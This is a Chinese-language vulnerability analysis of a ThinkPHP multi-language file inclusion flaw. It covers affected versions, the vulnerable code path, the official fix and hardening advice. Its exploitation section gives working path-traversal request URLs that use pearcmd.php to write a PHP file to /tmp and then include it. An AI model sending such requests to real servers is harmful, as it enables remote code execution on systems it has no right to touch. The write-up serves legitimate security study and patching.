ThinkPHP 多语言 文件包含漏洞
字数 1059 2025-08-06 18:07:59
ThinkPHP 多语言文件包含漏洞分析与利用
0x00 漏洞概述
ThinkPHP框架在开启多语言功能的情况下存在文件包含漏洞,攻击者可通过精心构造的请求包含任意PHP文件,配合pearcmd.php可实现远程代码执行。
漏洞影响版本:
- ThinkPHP5.x全版本(已修复)
- ThinkPHP6.0.13及之前版本(6.0.14已修复)
0x01 环境搭建
- 使用composer创建ThinkPHP5.1.41环境:
composer create-project topthink/think=5.1.41 tp5.1.41
- 修改
composer.json确保使用确切版本:
"topthink/framework": "5.1.41"
然后执行composer update
- 开启多语言功能(
config/app.php):
'lang_switch_on' => true,
0x02 漏洞分析
漏洞触发路径
- 漏洞入口:
thinkphp/library/think/Lang.php中的detect()方法 - 关键问题:未对
$langSet进行过滤,导致可控参数传递
调用链分析
访问 -> initialize() -> loadLangPack() -> $this->lang->load() -> include file
详细分析
-
$langSet获取方式:- GET参数
lang - COOKIE中的
lang $_SERVER['HTTP_ACCEPT_LANGUAGE'](有过滤)
- GET参数
-
当
$this->allowLangList为空(默认情况)时,直接接受用户输入的$langSet -
最终在
load()方法中执行:
foreach ((array) $file as $name) {
$filename = $this->parseLangFile($name);
include $filename;
}
- 限制条件:
- 只能包含
.php后缀文件 - 需要开启多语言功能
- 只能包含
0x03 漏洞利用
利用条件
- 目标系统安装了pear库
- PHP配置中
register_argc_argv开启(PHP官方docker环境默认满足)
利用步骤
- 通过pearcmd.php写入webshell:
http://target.com/index.php?+config-create+/&lang=../../../../usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php
- 包含写入的webshell:
http://target.com/index.php?lang=../../../../tmp/hello
实际效果
- 在
/tmp目录下创建hello.php文件 - 文件内容包含PHP代码(序列化格式)
- 通过包含漏洞执行该文件
0x04 修复方案
官方修复commit:https://github.com/top-think/framework/commit/450450a1e38c5897c8d1cbd167068660632fdb27
修复方式:
- 对
$langSet进行严格过滤 - 确保语言参数在允许的列表内
0x05 总结
漏洞特点:
- 需要开启多语言功能
- 只能包含PHP文件
- 实际利用依赖pear环境
利用限制:
- 生产环境pear库不常见
register_argc_argv通常关闭- 使该漏洞实际利用价值降低
防御建议:
- 及时升级到修复版本
- 生产环境禁用不必要的PHP扩展
- 严格限制文件包含操作